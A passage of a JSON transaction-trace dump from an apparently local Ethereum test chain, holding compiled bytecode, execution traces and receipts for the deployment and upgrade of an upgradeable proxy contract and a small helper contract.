50565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212204498542bd53fe5969cd2484cb9f25ea6fca9228d748c3cfb4c54b0eae1d8b52e64736f6c634300081b0033","nonce":16,"gas_used":849430},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xcf616","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xae1660db424986b7c00debbd2bbd53bb8294f0365b9db692d56c3b78c100342d","block_number":13},{"info":{"transaction_hash":"0x87e7a0a46d0acf358992c362a7de3a63efb71630952cff29709a7656f78cbd82","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":7,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000010000000010000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x661f4ea14e783d43bff7d86523c497b7174a2f5deb9fd5c1aef9a731601f1944","block_number":6},{"info":{"transaction_hash":"0xfd0cd693bcd0f6192a593b8edcbcfd149e34e760aca4b512b7292d66dff4c2f8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":19655,"gas_limit":35962,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":13359,"gas_limit":29250,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","address":"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":456,"gas_limit":16309,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Stop","out":"0x","nonce":21,"gas_used":42775},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xa717","logs":[{"address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x48af7361a06c7aed357eda74eaee8832f274a4f9be0814d90ac4d2f3ae8f61bc","block_number":17},{"info":{"transaction_hash":"0xf0aa3a0f536457cd460fd21d384d403fe8d176fdc3a797da7ec3d0ba7a43594a","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b50610447806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c4565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e1565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610336565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead81600081518110610204576102046103fb565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156102b85783516001600160a01b031683529284019291840191600101610293565b50909695505050505050565b6000602082840312156102d657600080fd5b813561013381610226565b6000825160005b8181101561030257602081860181015185830152016102e8565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033181610226565b919050565b6000602080838503121561034957600080fd5b825167ffffffffffffffff8082111561036157600080fd5b818501915085601f83011261037557600080fd5b81518181111561038757610387610310565b8060051b604051601f19603f830116810181811085821117156103ac576103ac610310565b6040529182528482019250838101850191888311156103ca57600080fd5b938501935b828510156103ef576103e085610326565b845293850193928501926103cf565b98975050505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220d2a1dc3d5b3de166be22fce7e789ceac2302c613380087624652f3f48de1ed0864736f6c63430008180033","output":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c4565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e1565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610336565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead81600081518110610204576102046103fb565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156102b85783516001600160a01b031683529284019291840191600101610293565b50909695505050505050565b6000602082840312156102d657600080fd5b813561013381610226565b6000825160005b8181101561030257602081860181015185830152016102e8565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033181610226565b919050565b6000602080838503121561034957600080fd5b825167ffffffffffffffff8082111561036157600080fd5b818501915085601f83011261037557600080fd5b81518181111561038757610387610310565b8060051b604051601f19603f830116810181811085821117156103ac576103ac610310565b6040529182528482019250838101850191888311156103ca57600080fd5b938501935b828510156103ef576103e085610326565b845293850193928501926103cf565b98975050505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220d2a1dc3d5b3de166be22fce7e789ceac2302c613380087624652f3f48de1ed0864736f6c63430008180033","gas_used":219263,"gas_limit":306088,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c4565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e1565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610336565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead81600081518110610204576102046103fb565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156102b85783516001600160a01b031683529284019291840191600101610293565b50909695505050505050565b6000602082840312156102d657600080fd5b813561013381610226565b6000825160005b8181101561030257602081860181015185830152016102e8565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033181610226565b919050565b6000602080838503121561034957600080fd5b825167ffffffffffffffff8082111561036157600080fd5b818501915085601f83011261037557600080fd5b81518181111561038757610387610310565b8060051b604051601f19603f830116810181811085821117156103ac576103ac610310565b6040529182528482019250838101850191888311156103ca57600080fd5b938501935b828510156103ef576103e085610326565b845293850193928501926103cf565b98975050505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220d2a1dc3d5b3de166be22fce7e789ceac2302c613380087624652f3f48de1ed0864736f6c63430008180033","nonce":35,"gas_used":289731},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x46bc3","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000